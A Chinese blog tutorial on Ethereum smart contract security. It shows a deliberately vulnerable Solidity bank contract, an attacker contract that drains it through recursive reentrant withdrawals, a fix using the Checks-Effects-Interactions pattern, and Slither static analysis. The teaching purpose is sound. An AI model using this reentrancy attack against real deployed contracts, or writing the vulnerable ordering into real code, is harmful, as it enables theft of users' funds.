第十三天:合约安全——亲手复现一次重入攻击
The DAO 事件 6000 万美元被卷走、Parity 多签锁死 2.8 亿美元……以太坊历史上的事故绝大多数源于同一类错误。今天不复述历史,直接写一段带漏洞的合约、亲手攻击它、再修复它——这是理解安全的唯一路径。
漏洞版:先收钱再记账
// 漏洞版:状态更新放在外部调用之后
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
(bool ok, ) = msg.sender.call{value: balances[msg.sender]}("");
require(ok, "transfer failed");
balances[msg.sender] = 0; // ← 记账在转账之后,重入的窗口期
}
}攻击合约在回退函数里递归调用 withdraw——因为余额还没清零,每次回调都能再取一次,直到合约金库被搬空:
contract Attacker {
VulnerableBank bank;
constructor(address _bank) { bank = VulnerableBank(_bank); }
function attack() external payable {
bank.deposit{value: 1 ether}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(); // 重入:余额还没清零,再取一次
}
}
}修复版:先记账,再付钱,外部调用最后做
contract FixedBank {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "nothing to withdraw");
balances[msg.sender] = 0; // ① 先清零(Checks-Effects-Interactions 顺序)
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
}这就是著名的 Checks-Effects-Interactions(CEI)模式:先校验、再改状态、最后才与外部合约交互。加上 OpenZeppelin 的 ReentrancyGuard(nonReentrant modifier)做双保险,这个经典漏洞就彻底关闭了。
把静态分析纳入日常工作流
forge install crytic/slither --no-commit # 或者直接 pip install slither-analyzer
slither src/ --solc-remaps @openzeppelin/=lib/openzeppelin-contracts/contracts/Slither 能扫出重入、未检查的返回值、危险的 delegatecall 等几十类模式。今天的作业:把攻击合约部署到 anvil 真的打一遍(anvil 的打印日志会让你看清楚每一笔递归调用),然后跑 Slither 对比修复前后的报告。安全意识到此建立——下一篇我们把视野拉高,看看 Layer2 和更大的生态。
读完了点一下,作者能得积分
赞赏
如果这篇内容帮到了你,不妨请作者喝杯咖啡
赞赏
如果这篇内容帮到了你,不妨请作者喝杯咖啡
选个金额
微信扫码扫一下,金额 ¥6
- 扫码后按所选金额支付即可
- 赞赏完全自愿,与积分、红包互不影响
发表评论